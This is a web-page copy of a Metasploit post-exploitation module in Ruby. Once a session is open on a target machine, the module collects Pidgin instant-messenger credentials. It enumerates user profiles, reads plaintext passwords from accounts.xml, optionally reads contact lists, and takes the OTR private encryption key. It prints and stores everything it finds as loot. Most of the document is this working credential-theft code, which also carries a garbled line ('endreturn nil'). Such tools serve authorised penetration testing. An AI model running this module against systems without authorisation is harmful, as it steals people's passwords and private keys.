CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/pidgin_cred.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Windows::UserProfiles
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',
17
'Description' => %q{
18
This module will collect credentials from the Pidgin IM client if it is installed.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'bannedit', # post port, added support for shell sessions
23
'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
24
],
25
'Platform' => %w[bsd linux osx unix win],
26
'SessionTypes' => ['shell', 'meterpreter' ],
27
'Compat' => {
28
'Meterpreter' => {
29
'Commands' => %w[
30
core_channel_eof
31
core_channel_open
32
core_channel_read
33
core_channel_write
34
stdapi_fs_stat
35
stdapi_sys_config_getenv
36
stdapi_sys_config_getuid
37
]
38
}
39
}
40
)
41
)
42
register_options(
43
[
44
OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
45
# Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),
46
]
47
)
48
end
49
50
# TODO: add support for collecting logs
51
def run
52
paths = []
53
case session.platform
54
when 'unix', 'linux', 'bsd'
55
@platform = :unix
56
paths = enum_users_unix
57
when 'osx'
58
@platform = :osx
59
paths = enum_users_unix
60
when 'windows'
61
@platform = :windows
62
profiles = grab_user_profiles
63
profiles.each do |user|
64
next if user['AppData'].nil?
65
66
pdir = check_pidgin(user['AppData'])
67
paths << pdir if pdir
68
end
69
else
70
print_error "Unsupported platform #{session.platform}"
71
return
72
end
73
if paths.nil? || paths.empty?
74
print_status('No users found with a .purple directory')
75
return
76
end
77
78
get_pidgin_creds(paths)
79
end
80
81
def enum_users_unix
82
if @platform == :osx
83
home = '/Users/'
84
else
85
home = '/home/'
86
end
87
88
if got_root?
89
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
90
userdirs << "/root\n"
91
else
92
userdirs = session.shell_command("ls #{home}#{whoami}/.purple")
93
if userdirs =~ /No such file/i
94
return
95
else
96
print_status("Found Pidgin profile for: #{whoami}")
97
return ["#{home}#{whoami}/.purple"]
98
end
99
end
100
101
paths = Array.new
102
userdirs.each_line do |dir|
103
dir.chomp!
104
next if dir == '.' || dir == '..'
105
106
dir = "#{home}#{dir}" if dir !~ /root/
107
print_status("Checking for Pidgin profile in: #{dir}")
108
109
stat = session.shell_command("ls #{dir}/.purple")
110
next if stat =~ /No such file/i
111
112
paths << "#{dir}/.purple"
113
end
114
return paths
115
end
116
117
def check_pidgin(purpledir)
118
path = ''
119
print_status("Checking for Pidgin profile in: #{purpledir}")
120
session.fs.dir.foreach(purpledir) do |dir|
121
if dir =~ /\.purple/
122
if @platform == :windows
123
print_status("Found #{purpledir}\\#{dir}")
124
path = "#{purpledir}\\#{dir}"
125
else
126
print_status("Found #{purpledir}/#{dir}")
127
path = "#{purpledir}/#{dir}"
128
end
129
return path
130
end
131
end
132
return nil
133
endreturn nil
134
end
135
136
def get_pidgin_creds(paths)
137
case paths
138
when /#{@user}\\(.*)\\/
139
sys_user = ::Regexp.last_match(1)
140
when %r{home/(.*)/}
141
sys_user = ::Regexp.last_match(1)
142
end
143
144
data = ''
145
credentials = Rex::Text::Table.new(
146
'Header' => 'Pidgin Credentials',
147
'Indent' => 1,
148
'Columns' =>
149
[
150
'System User',
151
'Username',
152
'Password',
153
'Protocol',
154
'Server',
155
'Port'
156
]
157
)
158
159
buddylists = Rex::Text::Table.new(
160
'Header' => 'Pidgin Contact List',
161
'Indent' => 1,
162
'Columns' =>
163
[
164
'System User',
165
'Buddy Name',
166
'Alias',
167
'Protocol',
168
'Account'
169
]
170
)
171
172
paths.each do |path|
173
print_status("Reading accounts.xml file from #{path}")
174
if session.type == 'shell'
175
type = :shell
176
data = session.shell_command("cat #{path}/accounts.xml")
177
else
178
type = :meterp
179
accounts = session.fs.file.new("#{path}\\accounts.xml", 'rb')
180
data << accounts.read until accounts.eof?
181
end
182
183
creds = parse_accounts(data)
184
185
if datastore['CONTACTS']
186
blist = ''
187
case type
188
when :shell
189
blist = session.shell_command("cat #{path}/blist.xml")
190
when :meterp
191
buddyxml = session.fs.file.new("#{path}/blist.xml", 'rb')
192
blist << buddyxml.read until buddyxml.eof?
193
end
194
195
buddies = parse_buddies(blist)
196
end
197
198
creds.each do |cred|
199
credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]
200
end
201
202
if buddies
203
buddies.each do |buddy|
204
buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]
205
end
206
end
207
208
# Grab otr.private_key
209
otr_key = ''
210
if session.type == 'shell'
211
otr_key = session.shell_command("cat #{path}/otr.private_key")
212
else
213
key_file = "#{path}/otr.private_key"
214
otrkey = begin
215
session.fs.file.stat(key_file)
216
rescue StandardError
217
nil
218
end
219
if otrkey
220
f = session.fs.file.new(key_file, 'rb')
221
otr_key << f.read until f.eof?
222
else
223
otr_key = 'No such file'
224
end
225
end
226
227
if otr_key !~ /No such file/
228
store_loot('otr.private_key', 'text/plain', session, otr_key.to_s, 'otr.private_key', 'otr.private_key')
229
print_good("OTR Key: #{otr_key}")
230
end
231
end
232
233
if datastore['CONTACTS']
234
store_loot('pidgin.contacts', 'text/plain', session, buddylists.to_csv, 'pidgin_contactlists.txt', 'Pidgin Contacts')
235
end
236
237
store_loot('pidgin.creds', 'text/plain', session, credentials.to_csv, 'pidgin_credentials.txt', 'Pidgin Credentials')
238
end
239
240
def parse_accounts(data)
241
creds = []
242
doc = REXML::Document.new(data).root
243
244
doc.elements.each('account') do |sub|
245
account = {}
246
if sub.elements['password']
247
account['password'] = sub.elements['password'].text
248
else
249
account['password'] = '<unknown>'
250
end
251
252
account['protocol'] = begin
253
sub.elements['protocol'].text
254
rescue StandardError
255
'<unknown>'
256
end
257
account['user'] = begin
258
sub.elements['name'].text
259
rescue StandardError
260
'<unknown>'
261
end
262
account['server'] = begin
263
sub.elements['settings'].elements["setting[@name='server']"].text
264
rescue StandardError
265
'<unknown>'
266
end
267
account['port'] = begin
268
sub.elements['settings'].elements["setting[@name='port']"].text
269
rescue StandardError
270
'<unknown>'
271
end
272
creds << account
273
274
print_status('Collected the following credentials:')
275
print_status(' Server: %s:%s' % [account['server'], account['port']])
276
print_status(' Protocol: %s' % account['protocol'])
277
print_status(' Username: %s' % account['user'])
278
print_status(' Password: %s' % account['password'])
279
print_line('')
280
end
281
282
return creds
283
end
284
285
def parse_buddies(data)
286
buddies = []
287
288
doc = REXML::Document.new(data).root
289
doc.elements['blist'].elements.each('group') do |group|
290
group.elements.each('contact') do |bcontact|
291
contact = {}
292
contact['name'] = begin
293
bcontact.elements['buddy'].elements['name'].text
294
rescue StandardError
295
'<unknown>'
296
end
297
contact['account'] = begin
298
bcontact.elements['buddy'].attributes['account']
299
rescue StandardError
300
'<unknown>'
301
end
302
contact['protocol'] = begin
303
bcontact.elements['buddy'].attributes['proto']
304
rescue StandardError
305
'<unknown>'
306
end
307
308
if bcontact.elements['buddy'].elements['alias']
309
contact['alias'] = bcontact.elements['buddy'].elements['alias'].text
310
else
311
contact['alias'] = '<unknown>'
312
end
313
314
buddies << contact
315
print_status('Collected the following contacts:')
316
print_status(' Buddy Name: %s' % contact['name'])
317
print_status(' Alias: %s' % contact['alias'])
318
print_status(' Protocol: %s' % contact['protocol'])
319
print_status(' Account: %s' % contact['account'])
320
print_line('')
321
end
322
end
323
324
return buddies
325
end
326
327
def got_root?
328
case @platform
329
when :windows
330
if session.sys.config.getuid =~ /SYSTEM/
331
return true
332
else
333
return false
334
end
335
else # unix, bsd, linux, osx
336
ret = whoami
337
if ret =~ /root/
338
return true
339
else
340
return false
341
end
342
end
343
end
344
345
def whoami
346
if @platform == :windows
347
session.sys.config.getenv('USERNAME')
348
else
349
session.shell_command('whoami').chomp
350
end
351
end
352
end
353
354